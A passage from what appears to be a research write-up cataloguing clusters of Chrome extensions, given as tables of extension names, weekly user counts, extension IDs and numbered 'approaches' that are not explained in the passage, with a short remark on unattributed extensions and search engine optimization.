| Image Zoom Tool | 5,000 | nmpjkfaecjdmlebpoaofafgibnihjhhf | 1, 2, 5 |
| ChatSider:Free ChatGPT Assistant(GPT4) | 1,000 | nnadblfkldnlfoojndefddknlhmibjme | 7 |
| Telegram Channels - TG Channel Link Search | 1,000 | nnbjdempfaipgaaipadfgfpnjnnflakl | 5 |
| H1B Sponsor Checker, Job Seek - LinkedRadar | 463 | noiaognlgocndhfhbeikkoaoaedhignb | 1, 4, 5 |
| WAContactSaver | 7,000 | nolibfldemoaiibepbhlcdhjkkgejdhl | 1 |
| vk video downloader - vkSaver | 10,000 | npabddfopfjjlhlimlaknekipghedpfk | 1, 2, 5 |
| Multi Chat - All Chat In One For You - SocialPlus | 1,000 | oaknbnbgdgflakieopfmgegbpfliganc | 1, 2, 5 |
| Twitch Channel Points Auto Claimer -Twiclips | 3,000 | ocoimkjodcjigpcgfbnddnhfafonmado | 5 |
| WalmartHunt-Walmart Dropshipping Tools | 4,000 | oeadfeokeafokjbffnibccbbgbjcdefe | 1, 2, 5 |
| TTAdNote: Download and Save Ad No Watermark | 8,000 | oedligoomoifncjcboehdicibddaimja | 1, 2, 5 |
| Discordmate - Discord Chat Exporter | 20,000 | ofjlibelpafmdhigfgggickpejfomamk | 5 |
| Social Media Downloader - SocialPlus | 4,000 | ofnmkjeknmjdppkomohbapoldjmilbon | 1 |
| NoteGPT: ChatGPT Summary for Vimeo | 5,000 | oihfhipjjdpilmmejmbeoiggngmaaeko | 1, 2, 5 |
| Aliexpress search by image | 5,000 | ojpnmbhiomnnofaeblkgfgednipoflhd | 1, 2, 5 |
| Privacy Extension for WhatsApp Web | 4,000 | okglcjoemdnmmnodbllbcfaebeedddod | 1 |
| Denote: Save Ads TikTok & FB Ad Library | 40,000 | okieokifcnnigcgceookjighhplbhcip | 1, 2 |
| Allegro Customer Service Helper with Open AI | 13 | olfpfedccehidflokifnabppdkideeee | 5 |
| LinkedRadar - LinkedIn Auto Connect Tool | 198 | onjifbpemkphnaibpiibbdcginjaeokn | 1 |
| WAPI - Send personalized messages | 20,000 | onohcnjmnndegfjgbfdfaeooceefedji | 1 |
| Entrar for Gmail™ | 5,000 | oolgnmaocjjdlacpbbajnbooghihekpp | 5 |
| Group exporter 2 | 19 | opeikahlidceaoaghglikdpfdkmegklg | 1 |
| Keyword Finder-SEO keywords Tool | 5,000 | oppmgphiknonmjjoepbnafmbcdiamjdh | 5 |
| Search Engine Featuring ChatGPT - GPT Search | 775 | pbeiddaffccibkippoefblnmjfmmdmne | 1, 5 |
| Amazon Price History Tracker - AmzChart | 737 | pboiilknppcopllbjjcpdhadoacfeedk | 5 |
| Shopify Wise - Shopify analytics & Dropship tool | 762 | pckpnbdneenegpkodapaeifpgmneefjd | 5 |
| Vimeo™ Video Downloader Pro | 70,000 | penndbmahnpapepljikkjmakcobdahne | 5 |
| DealsUpp - Contact Saver for WA | 2,000 | pfomiledcpfnldnldlffdebbpjnhkbbl | 1, 5 |
| Profile Scraper - Leadboot | 2,000 | pgijefijihpjioibahpfadkabebenoel | 1 |
| -com Remove Background | 105 | pgomkcdpmifelmdhdgejgnjeehpkmdgl | 1 |
| EasyGood - Free Unlimited VPN Proxy | 1,000 | pgpcjennihmkbbpifnjkdpkagpaggfaa | 5 |
| FindNiche - AliExpress™ Data Exporter | 114 | pjjofiojigimijfomcffnpjlcceijohm | 5 |
| Share Preview Save to Social | 419 | pkbmlamidkenakbhhialhdmmkijkhdee | 1, 3 |
| Voice Remaker - The Best AI Generator | 10,000 | pnlgifbohdiadfjllfmmjadcgofbnpoi | 1, 5 |
| Pincase-Pinterest Video & Image Downloader | 10,000 | poomkmbickjilkojghldlelgjmgaabic | 5 |
| Ad Library - Ad Finder & Adspy Tool | 30,000 | ppbmlcfgohokdanfpeoanjcdclffjncg | 5 |
| YouTube Video Tags Summary with ChatGPT | 908 | ppfomhocaedogacikjldipgomjdjalol | 1, 5 |
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| Amazon Reviews Extractor | 1,000 | aapmfnbcggnbcghjipmpcngmflbjjfnb | 1, 2 |
| Target Images Downloader | 100 | adeimcdlolcpdkaapelfnacjjnclpgpb | 2 |
| Airbnb Images Downloader | 433 | alaclngadohenllpjadnmpkplkpdlkni | 1, 2 |
| eBay Reviews Extractor | 200 | amagdhmieghdldeiagobdhiebncjdjod | 2 |
| Lazada Images Downloader | 363 | bcfjlfilhmdhoepgffdgdmeefkmifooo | 1, 2 |
| Shopify2Woo - Shopify to WooCommerce | 543 | bfnieimjkglmfojnnlillkenhnehlfcj | 1, 2 |
| Group Extractor | 3,000 | bggmbldgnfhohniedfopliimbiakhjhj | 1, 2 |
| Shein Reviews Extractor - Scrape Data to CSV | 388 | bgoemjkklalleicedfflkkmnnlcflnmd | 1, 2 |
| Airbnb Reviews Extractor | 86 | bklllkankabebbiipcfkcnmcegekeagj | 1, 2 |
| eBay Images Downloader | 863 | bkpjjpjajaogephjblhpjdmjmpihpepm | 1, 2 |
| Indeed Scraper | 2,000 | bneijclffbjaigpohjfnfmjpnaadchdd | 1, 2 |
| Shein to Shopify CSV Exportor | 130 | cacbnoblnhdipbdoimjhkjoonmgihkec | 1, 2 |
| Justdial Scraper | 1,000 | ccnfadfagdjnaehnpgceocdgajgieinn | 1, 2 |
| AI Review Summarizer - Get ChatGPT Review Analysis in One Click | 24 | cefjlfachafjglgeechpnnigkpcehbgf | 2 |
| Booking Hotel Scraper | 123 | cgfklhalcnhpnkecicjabhmhlgekdfic | 1, 2 |
| Contact Extractor for wa | 2,000 | chhclfoeakpicniabophhhnnjfhahjki | 2 |
| AI Reviews Summary for Google Maps | 17 | cmkkchmnekbopphncohohdaehlgpmegi | 2 |
| AliExpress Images Downloader | 938 | cpdanjpcekhgkcijkifoiicadebljobn | 1, 2 |
| Shopy - Shopify Spy | 2,000 | dehlcjmoincicbhdnkbnmkeaiapljnld | 1, 2 |
| Profile Scraper for LinkedIn™ | 473 | dmonpchcmpmiehffgbkoimkmlfomgmbc | 1, 2 |
| Trustpilot Reviews Extractor | 481 | eikaihjegpcchpmnjaodjigdfjanoamn | 1, 2 |
| Indeed Review Extractor | 17 | ejmkpbellnnjbkbagmgabogfnbkcbnkb | 1, 2 |
| AliExpress Reviews Extractor | 409 | elcljdecpbphfholhckkchdocegggbli | 1, 2 |
| Etsy Reviews Extractor | 306 | fbbobebaplnpchmkidpicipacnogcjpk | 2 |
| Post Scraper | 34 | fcldaoddodeaompgigjhplaalfhgphfo | 2 |
| Images Downloader for WM | 707 | fdakeeindhklmojjbfjhgmpodngnpcfk | 1, 2 |
| Twitch Chat Downloader | 132 | fkcglcjlhbfbechmbmcajldcfkcpklng | 1, 2 |
| Costco Images Downloader | 35 | fpicpahbllamfleebhiieejmagmpfepi | 1, 2 |
| Etsy Images Downloader | 1,000 | gbihcigegealfmeefgplcpejjdcpenbo | 2 |
| Yelp Scraper | 347 | gbpkfnpijffepibabnledidempoaanff | 2 |
| Lazada Reviews Extractor | 102 | gcfjmciddjfnjccpgijpmphhphlfbpgl | 1, 2 |
| Shopee Reviews Extractor | 484 | gddchobpnbecooaebohmcamdfooapmfj | 2 |
| Comments Exporter for Ins | 47 | gdhcgkncekkhebpefefeeahnojclbgeg | 1, 2 |
| Wayfair Images Downloader | 169 | ggcepafcjdcadpepeedmlhnokcejdlal | 2 |
| Amazon Images Downloader | 1,000 | ggfhamjeclabnmkdooogdjibkiffdpec | 1, 2 |
| Shein Images Downloader | 3,000 | ghnnkkhikjclkpldkbdopbpcocpchhoi | 1, 2 |
| Reviews Extractor for WM | 369 | gidbpinngggcpgnncphjnfjkneodombd | 2 |
| Zillow Scraper - Agent & Property Export | 308 | gjhcnbnbclgoiggjlghgnnckfmbfnhbb | 2 |
| G2 Reviews Extractor | 189 | hdnlkdbboofooabecgohocmglocfgflo | 1, 2 |
| X Jobs Scraper | 35 | hillidkidahkkchnaiikkoafeaojkjip | 1, 2 |
| Booking Reviews Extractor | 201 | iakjgojjngekfcgbjjiikkhfcgnejjoa | 1, 2 |
| Shein Scraper | 1,000 | ibbjcpcbjnjlpfjinbeeefbldldcinjg | 1, 2 |
| Shopee Images Downloader | 966 | idnackiimdohbfkpcpoakocfkbenhpdf | 2 |
| Yellow Pages Scraper | 2,000 | iijgmfjjmcifekbfiknmefbkgbolonac | 1, 2 |
| Booking Images Downloader | 27 | ilcbmjpkggalcdabgpjacepgmkpnnooh | 1, 2 |
| Likes Exporter for Ins | 126 | jdfpnhobcnlokhaoihecmgmcnpjnhbmm | 1, 2 |
| Job Scraper for LinkedIn™ | 1,000 | jhmlphenakpfjkieogpinommlgjdjnhb | 2 |
| Wayfair Reviews Extractor | 186 | jjmejjopnabkbaojcijnfencoejjaikb | 1, 2 |
| XExporter - Export Twitter Followers | 908 | kfopfmdjhlpocbhhddjmhhboigepfpkg | 1, 2 |
| Costco Reviews Extractor | 31 | lbihigmoeinmajbmkbibikknphemncdl | 1, 2 |
| Pinterest Images Downloader - Pinterest Video Downloader | 2,000 | lephhdmcccfalhjdfpgilpekldmcahbb | 1, 2 |
| Shein to Woo CSV Exportor | 66 | lhjakenfnakjjfgfcoojdeblfmbpkocf | 1, 2 |
| Image & Video Downloader for Ins | 358 | ljgaknjbenmacaijcnampmhlealmbekk | 2 |
| Comments Exporter | 307 | llcgplklkdgffjmhlidafnajbhbohgen | 1, 2 |
| Yelp Reviews Extractor | 59 | mnmjkjlaepijnbgapohecanhklhoojbh | 1, 2 |
| TKCommentExport - Export TikTok Comments | 1,000 | monfhkhegpjfhcmjaklhnckkhlalnoml | 1, 2 |
| Chats Backup for wa | 1,000 | najkpicijahenooojdcnfdfncbaidcei | 2 |
| Slack™ Member Extractor | 497 | nbhjfblpkhiaiebipjcleioihpcclaea | 1, 2 |
| Glassdoor Scraper | 387 | ndnomcanokhgenflbdnkfjnhaioogmdk | 1, 2 |
| Maps Scraper & Leads Extractor | 646 | nhefjmaiappfgfcagoimkgmaanbimphd | 1, 2 |
| Followers Exporter for Thread | 174 | nhlcgpbandlddfdmabpjinolcgfbmkac | 2 |
| Bulk Barcode Generator | 105 | odipjjckdnfbhnnkdacknhpojbabaocb | 1, 2 |
| Followers Tracker for Ins | 7,000 | ohfgngkhbafacegaaphcinpgmnmjknff | 1, 2 |
| Airbnb Scraper | 124 | ohgfipogdmabijekgblippmcbfhncjgn | 2 |
| TripAdvisor® Review Scraper | 1,000 | pkbfojcocjkdhlcicpanllbeokhajlme | 2 |
| Bulk QR Code Generator | 154 | pnmchlmkjhphkjnbjehfgdagonbjpipg | 1, 2 |
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| Twitter Comment Export Tool | 1,000 | ajigebgoglcjjjkleiiomgbogggihibe | 1, 2 |
| AliExpress Images Downloader | 1,000 | ajnfoalglmknolmaaipgelpbdpcopjci | 1, 2 |
| Slack Translator Pro | 475 | ajoplaibmnoheaigdnfbagfchnnjkicc | 1, 2 |
| Whatsapp Translator Pro | 2,000 | bnbighhfhbnkoinbakcadadhjhjhnogo | 1, 2 |
| Discord Translator Pro | 2,000 | bpgmpnpdklkcdgiemflkhfhbcibbimhh | 1, 2 |
| Threads Followers Exporter | 447 | cackmcfbjdjnicnoifjcbpbidfnodfid | 1, 2 |
| Telegram™ Translator - Immersive Translation | 1,000 | cadnjdgggbmgmiokgmbngklhlldabhom | 1, 2 |
| Twitter Auto Unfollow Tool | 1,000 | cdejkfmlkpdipdjlookbmifhlihdefld | 1, 2 |
| FB Group Export Tool | 1,000 | cfkelnkpomgldoeoadoghdjcejdknilb | 1, 2 |
| Etsy Images Downloader | 367 | clcjlefnlochgjgmhkkmggojbcckloel | 1, 2 |
| Snapchat Translator Pro | 58 | degekmdjhceighgpmeociiolpbpdfmkk | 1, 2 |
| Skype Translator Pro | 30 | dheinobepcdickihlphioifoadnnlddn | 1, 2 |
| YouTube™ Comment Translator Pro | 2,000 | dkleeapinhlpifbijbppjcbgiolpagjd | 1, 2 |
| IG Followers Exporter | 2,000 | dncpodlbhbfeckciihiifmfpepleaked | 1 |
| Contact Saver for WhatsApp | 2,000 | dnoeodfoipnecbnnjhgoopnheicjlemm | 1, 2 |
| FB Messenger™ Translator - Immersive Translation | 1,000 | eeagfonlpjdegifbbipcnbhljledonnc | 1, 2 |
| Twitter AutoFollow Pro | 1,000 | elnglbaphfoebenjdbkalpgghijpnklp | 1, 2 |
| IG Auto Liker | 1,000 | fajlpeonkickmgcbmpnmdofghngjphac | 1, 2 |
| IG Auto Unfollow | 1,000 | fcapaeipdkdbongbphfbccnegbcbilah | 1, 2 |
| Indeed Scraper | 44 | fedomnahgimendnjeifhhgehimjidnof | 1, 2 |
| Lazada Images Downloader | 1,000 | fgefgonmnflpghpipmaajgagfekcdljp | 1, 2 |
| IG HashTag Export Tool | 1,000 | gddkmjkdanijaiogljcfnhaolephjfcj | 1, 2 |
| FB Messenger Translator Pro | 1,000 | gfmklfdiaiefelfoklndfcchmdopjcke | 1, 2 |
| TG Downloader - Photos, Videos, Audios | 1,000 | gihehopmfgnaknmbabddbkkebbaopeee | 1, 2 |
| Bumble Swipe Bot - Auto Filter & Swipe | 955 | gikinafmdccpecjbmnbjkeiadcabffpb | 1, 2 |
| Twitter Followers Exporter | 1,000 | giplfbjnmilhalcaehoblaegpkgembpi | 1 |
| Twitch Translator Pro | 1,000 | gmaglilejboehglachimajmepgjckjng | 1, 2 |
| Shein Images Downloader | 1,000 | hamgafmfcmaipelffjbdgikejedlnbmm | 1, 2 |
| eBay Images Downloader | 1,000 | hedppplfdackfbdjienfgbmecbnldijl | 1, 2 |
| IGEmail - Instagram Email Scraper | 1,000 | hgonoojgigfaikonjkhchoklgjoiphio | 1, 2 |
| Twitter Follower Export Tool - Export Followers / Following | 1,000 | hncbinceehncflccpnanfdnbinhjlleh | 1, 2 |
| IGFollower - IG Follower Export Tool | 2,000 | iindafjcdjddenmiacdelomccfblfllm | 1, 2 |
| FB Comments Export Tool | 1,000 | inooeahlmjlhjdblojocgcoohmpjbhif | 1, 2 |
| IG Auto Follower - Auto Follow / Unfollow | 1,000 | ipmahbofhgomnebimjlocmemobaamnfp | 1, 2 |
| Apollo Exporter | 867 | joainhjiflchdkpmfadbencgeedodiib | 1, 2 |
| Temu Images Downloader | 1,000 | jonloekipbhbjfcdpicecchjhhoidncn | 1, 2 |
| TikTok Follower Export Tool | 1,000 | kcoglbpmmjallcceanhiafgdlhofocml | 1, 2 |
| Twitter Comments Exporter | 1,000 | kdcgillnpmlfacikljeafiikgcpdjiha | 1 |
| IG Growth Pro - Auto Follow & Unfollow | 2,000 | kdibmenfbafnmjineglfmlbnmckhceej | 1 |
| Telegram Translator Pro | 1,000 | kkafjojibijigkcpgiidnphfnhdnopnf | 1, 2 |
| Twitter Auto Unfollow | 1,000 | lfofoljipingdgmjdmleonbnkecfbjli | 1 |
| Discord Chat Export Tool | 1,000 | lmoceiadfbnpofjbmgemloenlfkhhbhl | 1, 2 |
| Amazon Images Downloader | 1,000 | mjkalljfgchhnjekdgkennpimdobfjfa | 1, 2 |
| Twitter Auto Follower - Auto Follow / Unfollow | 1,000 | mmaekkgncaflnfaimjaefjohpgneagnh | 1, 2 |
| Twitch™ Translator - Immersive Translation | 1,000 | ndjfdohpdlajffmmhdlifafoihibnokb | 1, 2 |
| Discord™ Translator - Immersive Translation | 1,000 | nenhidhfpjbccpbikiceenfnchkhljmd | 1, 2 |
| IG Comment Export Tool | 1,000 | ngigmhodcdcjohafngokbkmleidkigfn | 1, 2 |
| IG Comments Exporter | 1,000 | nogopabibhapbfcnlfeandndkalcjkik | 1 |
| Slack™ Translate | 253 | ogeieigjomecilgfebkdbgdckfpbjfah | 1, 2 |
| IGEmail - Email Extractor and Scraper for Ins | 1,000 | ohhcmiegflabbcfihgjkkndpgijmpghk | 1 |
| IG Auto Like Tool | 1,000 | ohocmgfknbibgiiijhokjifkhpgpahbb | 1, 2 |
| IG HashTags Exporter | 1,000 | pgbenbeencahnighlkhingagogpjjdbh | 1, 2 |
| Whatsapp™ Translator - Immersive Translation | 1,000 | phafeggjhdhfcmlanhmgbmcbgocapnik | 1, 2 |
| TikTok Comment Export Tool | 1,000 | pjjldehmkcnmmkldjielbonlnmbkomlm | 1, 2 |
| IG Unfollow Pro | 1,000 | pmlkkhcpimkhgalapkfpiknklhalkoeo | 1 |
| Tinder Swipe Bot - Auto Filter & Swipe | 644 | poocdjijjpnkcmhjecpeicdhljbmgddc | 1, 2 |
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| Etsy Images Downloader | 115 | aakfimfbjikfkfeokmamllkomlejnpdi | 1, 2 |
| Export Twitter Follower | 1,000 | amflfbkcoeanhfcdcbebeimpjnoebakn | 1, 2 |
| Export TikTok Followers | 378 | bdhcflkeglekljebdpanedpgeojpfefj | 1, 2 |
| IG Auto Follow | 19 | cpfdfhmnheohcfiddlpjgjjdhgmnnali | 1 |
| Twitter Unfollower | 536 | eilkgadngbcjchnpmndgafhaihmohfho | 1, 2 |
| Twitter Auto Follow-Unfollow | 447 | fmkhphcddlhkmggaldkibecjmgpkbpdl | 1, 2 |
| Shein Scraper | 26 | gpbhomcniappgbcehfedaliofagbfado | 1, 2 |
| IG Auto Like | 1,000 | hmgfjlghckknhafggpnnniffdiggdmpd | 1, 2 |
| IG Follower Export Tool | 3,000 | iacchdhbljnmihoeeelcgljnajfafpkh | 1, 2 |
| IG Auto Follow | 928 | icjfkeibgfjfkdfjjgafpkpfplpnbidc | 2 |
| Contacts Exporter for WhatsApp | 28 | ifhjahdgkdcpeofnamflcpdkadijbifl | 1 |
| IG Auto Follow | 5,000 | iiaohnpoogjkomcdkhdfljgpglejpaad | 1, 2 |
| Shein Images Downloader | 1,000 | lphjpapkpnhhffgobpekcmeanpompeka | 1, 2 |
| IG Auto Unfollow | 77 | mpmpkpbmimeinhimdkbcecbbmgcacndp | 1, 2 |
| TwExport - Export Tweets From Any Account | 972 | nahaggbplpekgcbbnemjlpnnmpmhnfkh | 1, 2 |
| Export Group Members for Facebook | 40 | oakdlcfhapgllacidemajdmmdcjfbiig | 2 |
| Unfollowers Pro | 3,000 | onkeebndjchpacfplcfojadeedlfdime | 1, 2, 7 |
| Export Tweet From Any Account | 167 | opbkmlokpjccgjmffhpndbjahhkbnhon | 1 |
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| TG Sender - telegram messages bulk sender | 462 | baghjmiifdlhbnfiddfkoomfkhmiamle | 1, 2 |
| IGEmail - Email Extractor and Scraper | 1,000 | cnjelbflcpdehnljcmgolcbccfhgffbn | 1 |
| Ins Comment Bot - instagram automated comment bot | 22 | dlfigaihoneadjnenjkikkfehnpgbepo | 1, 2 |
| IGFollow - Follower Export Tool | 546 | efjeeadgcomeboceoedbfnnojodaonhj | 1, 2 |
| IGCommentsExport - Export Comment for IG | 39 | fahielldgamgakbecenbenagcekhccoj | 1 |
| Unsubscriby for Youtube | 42 | gcmfheliiklfcjlbnmeahfhmcbjglncl | 1, 2 |
| Airbnb Scraper | 32 | ioblhofpjfjbfffbibgkjiccljoplikf | 1, 2 |
| TG Downloader - Telegram Video Download | 2,000 | kockkcmeepajnplekamhbkgjomppgdhp | 1, 2 |
| IGPost - Export Instagram photos and videos | 70 | mdhgjlmpioeeainbfmodgcaajgchapnm | 1, 2 |
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| WAAutoReply - Web Automatic Reply Assistant | 47 | bilbhjhphaepddlmheloebigdkafebmg | 1, 2 |
| Reaction Exporter - Extract Like, Love, etc. | 168 | cddgoecgoedcodpohjphbhfdhojlpfik | 1, 2 |
| WAChecker - Check, Verify & Filter Number | 3,000 | cmelkcfmckopkllanachmbnlfpkhnjal | 1, 2 |
| IGGrowth - auto follow and unfollow | 1,000 | eggdbehenjijmhlbiedecgkehgeilemo | 1, 2 |
| IGCommentsExport - Export Comment for IG | 5,000 | ejneclajijjhnnelphnggambomegmcpd | 1 |
| Jobs Scraper for Indeed | 16 | fbncpljgpiokofpgcedbfmbnpdmaofpj | 2 |
| Job Scraper for LinkedIn™ | 64 | hhddcmpnadjmcfokollldgfcmfemckof | 1, 2 |
| Social Profile Info - User Info Lookup From URLs & IDs | 47 | jcmhjgllmdnlfabkppegglnmkmlheopp | 1, 2 |
| Chewy Reviews Scraper - Images | 8 | jhgpmldoffheafnogmaihhgjpoecmgea | 1, 2 |
| Comment Exporter - Extract Comments | 866 | knpbmoflfeeokanhpkiofaoaohpgfbjh | 1, 2 |
| Message Sender - Web Sender | 7,000 | ldhmkpfefdgmbgmmcldnnjokfjjnldmf | 1 |
| Download Group Phone Numbers | 8,000 | mhlmhjlkpioopoipgbmcmiblopmmecjc | 1 |
| Friend Exporter - Extract friends list | 993 | ncekbecnpnoiapeghdneaihmeokakpdp | 1, 2 |
| Zillow Scraper - Extract Data from Zillow | 2,000 | nlieamdebnjhijflpbkbaijnjpdpieoh | 1, 2 |
| Friend Requests Sender | 201 | padhkflcigakphahffhcgfnfiddimngo | 1, 2 |
| IGFollow - Follower Export Tool | 100,000 | pkafmmmfdgphkffldekomeaofhgickcg | 1, 2 |
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| Friend Requests Sender | 113 | bgdjlbjaemhokfkkjiplclhjjbmlhlof | 1, 2 |
| Lead Exporter for Apollo | 2,000 | fhlfdnhddefmfmmehofnbnkmcbgdlohn | 1 |
| Yelp Scraper: Scrape Yelp business data | 46 | fnoknmcjgfgepgngbkeefjgeikbdenki | 1, 2 |
| Followers Everywhere for LinkedIn™️ | 38 | kdopjbndoijfnnfijfkfponmllfomibn | 1 |
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| Twitch Chat for Full Screen | 4,000 | bgopmpphpeghjpififijeoaojmmaiibh | 6 |
| Free Time Clock for Google Chrome™ | 3,000 | bhcdneenlaehgbonacefkpjddbomfpkj | 6 |
| SQLite Viewer | 9,000 | bpedjnknnoaegoaejefbodcdjmjkbbea | 5 |
| ESports Tournament Schedule | 111 | caocacliklpndkcbdcbfcjnelfaknioi | 6 |
| Volume Booster | 1,000 | cejhlkhieeooenehcfmcfgpcfjdhpkop | 1, 2 |
| Sketchpad for Google Chrome | 7,000 | dbhokcpgjhfjemonpglekkbmmjnkmolf | 6 |
| Audio Equalizer for Youtube™ | 20,000 | dcjnokfichnijppmkbgpafmdjghibike | 1 |
| Notepad - Take Notes And Weekly Planner | 10,000 | dfiojogmkjifkcckhabcedniponnmifp | 6 |
| Rubiks Cube for Google Chrome | 9,000 | dlabgdldanmcjlmnifgogbnffionmfki | 6 |
| CSS Selector | 10,000 | dobcgekgcmhjmfahepgbpmiaejlpaalc | 6 |
| Icon Finder | 1,000 | eblcidnbagkebkmakplgppmgecigpaef | 5 |
| Enable JavaScript | 10,000 | egljjlhdimceghlkloddalnlpgdgkboj | 6 |
| Page Marker for Google Chrome™ | 6,000 | ejfomipinjkencnfaaefmhgkipphodnc | 6 |
| Customized Scrollbar | 977 | elchgoiagofdppjcljnecjmekkkgjhhi | 6 |
| Compress Video Files | 10,000 | gbffnccbjahakeeailfjmdbhnccklcgp | 6 |
| Password Generator | 4,000 | gbgffmpdbclmicnofpdbdmmikppclhmf | 6 |
| Speaker Booster | 8,000 | gkfjamnmcjpbphincgfnagopcddfeakd | 1 |
| Fast Search for Google Drive™ | 443 | glhpjfhpachnbgipcookemmoocedfjgp | 6 |
| Dark Mode for Messenger | 273 | hajjeoobbdpmbicdnkpoggllfebkmbfb | 6 |
| Earth 3D View Map | 8,000 | hfnflfnjflibmhoopdbndehehbhgjcem | 6 |
| Reactions for Google Meet | 40,000 | hicfolagolebmjahkldfohbmphcoddoh | 6 |
| Date Time | 7,000 | hjiajhckbofggdeopalpnpmapekkjcmi | 6 |
| Image Editor | 10,000 | hpiicbccakkjfojofhjcjhbljnafdfbg | 4 |
| Picture in Picture for Videos | 20,000 | icmpjbkbjlbfpimllboiokakocdgfijb | 6 |
| Mute Tabs | 2,000 | ijidbphagpacfpkhgcjfbdjohkceanea | 6 |
| Copy To Clipboard | 8,000 | imjkddkepakidnmolhmpfldheaiakojj | 6 |
| Tab manager | 3,000 | iofngkkljgebpllggmdpcldpifhdckkg | 6 |
| Online Radio for Google Chrome™ | 4,000 | jlfegkfcihbbpiegahcpjjidojbhfglo | 6 |
| Custom Dark Mode 3.0 for Youtube, Facebook | 795 | jpgkbhploimngoikjnmggchkcekleehi | 1, 2 |
| Make Text Readable for Google Chrome™ | 1,000 | kicekkepbmfbaiagdcflfghmnnachmdg | 6 |
| Online Download Manager | 10,000 | kilhigaineblocfbpikplhgaacgigfnb | 6 |
| Gmail Adblocker | 1,000 | kkddllkaglcicbicjlobbhmjjangamjh | 5 |
| Testing Reading Speed | 4,000 | kmkdgnfgallnjpdldcmplbggbmkgcgdl | 6 |
| User Agent Switcher | 1,000 | lbdmdckajccnmklminnmlcabkilmhfel | 5 |
| Highlighter for Google Chrome™ | 50,000 | lebapnohkilocjiocfcaljckcdoaciae | 6 |
| Free Spell Checker for Google Chrome™ | 20,000 | ljgdcokhgjdpghmhdkbolccfcfdbklpo | 6 |
| IMDB Ratings on Netflix | 314 | lkfapihkchheoddiodedjlapfdnmgkio | 6 |
| Adjust Screen Brightness for Browser | 5,000 | lkomnldkbflfbkebenomadllalainpec | 6 |
| Timer for Google Meet | 10,000 | lmkdehdoopeeffkakbbkfcmmhmeoakpk | 6 |
| Make Screenshot for Chrome™ | 1,000 | mhnppmochppgeilojkicdoghhgfnaaig | 1 |
| Full Page Screenshot for Google Chrome™ | 10,000 | mieibeigpaehbjcbibakjcmkocngijjl | 6 |
| Custom Progress Bar for YouTube™ | 300,000 | nbkomboflhdlliegkaiepilnfmophgfg | 6 |
| Chrome Bookmarks | 4,000 | nhcaihbjbbggebncffmeemegdmkamppc | 6 |
| Tab Snooze | 336 | nomolokefbokmolefakehdnicdpjbmnm | 5 |
| History & Cache Cleaner | 10,000 | oiecpgbfcchalgdchgoplichofjadhmk | 5 |
| View Chrome History | 40,000 | oiginoblioefjckppeefcofmkkhgbdfc | 6 |
| Meme Maker for Google Chrome | 2,000 | oipbnbggobjonpojbcegcccfombkfoek | 6 |
| Bass Boost for Google Chrome™ | 20,000 | omobmjpbljcbgdppgjfmmennpjpgokch | 6 |
| Knit Patterns | 181 | pfeenapookpacnhhakoilppnmbohncml | 6 |
| Tic Tac Toe | 3,000 | pfghhddjhifjcneopigibnkifacchpgh | 6 |
| Clear History & Web Cache | 3,000 | pjhgdolnnlcjdngllidooanllmcagopf | 6 |
| Citation Manager for Google Chrome™ | 20,000 | pkbcbgfocajmfmpmecphcfilelckmegj | 6 |
| Full screen your Videos | 3,000 | pkoeokeehkjghkjghoflddedkjnheibp | 6 |
| iCloud Dashboard | 10,000 | pnncnbibokgjfkolhbodadgcajeiookc | 6 |
| Responsive Tester | 30,000 | ppbjpbekhmnekpphljbmeafemfiolbki | 6 |
Most extensions listed below either belong to one of the clusters above but haven’t been attributed, or the cluster they belong to wasn’t important enough to be listed separately. In a few cases these could however be extensions by individual developers who went overboard with search engine optimization.
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| Simple = Select + Search | 20,000 | aagminaekdpcfimcbhknlgjmpnnnmooo | 6 |
| AI Chat Bot | 1,000 | abagkbkmdgomndiimhnejommgphodgpl | 1 |
| ChatGPT Translate | 20,000 | acaeafediijmccnjlokgcdiojiljfpbe | 1 |
| The AllChat - ChatGPT, WhatsApp, Messenger | 1,000 | adipcpcnjgifgnkofmnkdbebgpoamobf | 1, 4 |
| save ChatGPT history to evernote | 1,000 | afcodckncacgaggagndhcnmbmeofppok | 3 |
| Sound Booster | 1,000 | ahhoaokgolapmhoeojcfbgpfknpmlcaj | 1, 2, 4 |
| Dictionary - Synonyms, Definition, Translator | 40,000 | ahjhlnckcgnoikkfkfnkbfengklhglpg | 1, 3, 4 |
| ContentBlockHelper | 20,000 | ahnpejopbfnjicblkhclaaefhblgkfpd | 6 |
| Video Speed Controller | 250 | aiiiiipaehnjdjgokjencohlidnopjgd | 4 |
| Black Jack Play Game | 20,000 | akclccfjblcngnchpgekhijggnibifla | 5 |
| Free VPN - 1VPN | 600,000 | akcocjjpkmlniicdeemdceeajlmoabhg | 1, 3, 5 |
| Browser Boost - Extra Tools for Chrome | 80,000 | akknpgblpchaoebdoiojonnahhnfgnem | 5 |
| Comet - Reddit Comments on YouTube & Webpages | 9,000 | amlfbbehleledmbphnielafhieceggal | 1, 2, 5 |
| Hololive Wallpaper | 2,000 | anjmcaelnnfglaikhmfogjlppgmoipld | 6 |
| Roblox Wallpaper | 9,000 | ankmhnbjbelldifhhpfajidadjcammkg | 5 |
| Video Downloader Global - videos & streams | 20,000 | baajncdfffcpahjjmhhnhflmbelpbpli | 1, 2 |
| super cowboy play game | 472 | bconhanflbpldbpagecadkknihjmlail | 5 |
| Paint Tool for Web | 3,000 | bcpakobpeakicilokjlkdjhhcbepdmof | 5 |
| Sound booster by AudioMax | 900,000 | bdbedpgdcnjmnccdappdddadbcdichio | 1, 2, 4 |
| Save to Face Book. From web to Saved FB | 63 | bdhnoaejmcmegonoagjjomifeknmncnb | 1, 2, 6, 7 |
| Save ChatGPT to Obsidian markdown file | 641 | bdkpamdmcgamabdeaeehfmaiaejcdfko | 7 |
| Full Page Screenshot: ScreenTool.io | 6,000 | bfhiekdkiilhblilanjoplmoocmbeepj | 1, 5 |
| Downloader for Instagram - ToolMaster | 100,000 | bgbclojjlpkimdhhdhbmbgpkaenfmkoe | 1, 2 |
| Aqua VPN | 20,000 | bgcmndidjhfimbbocplkapiaaokhlcac | 1, 2, 3, 4, 7 |
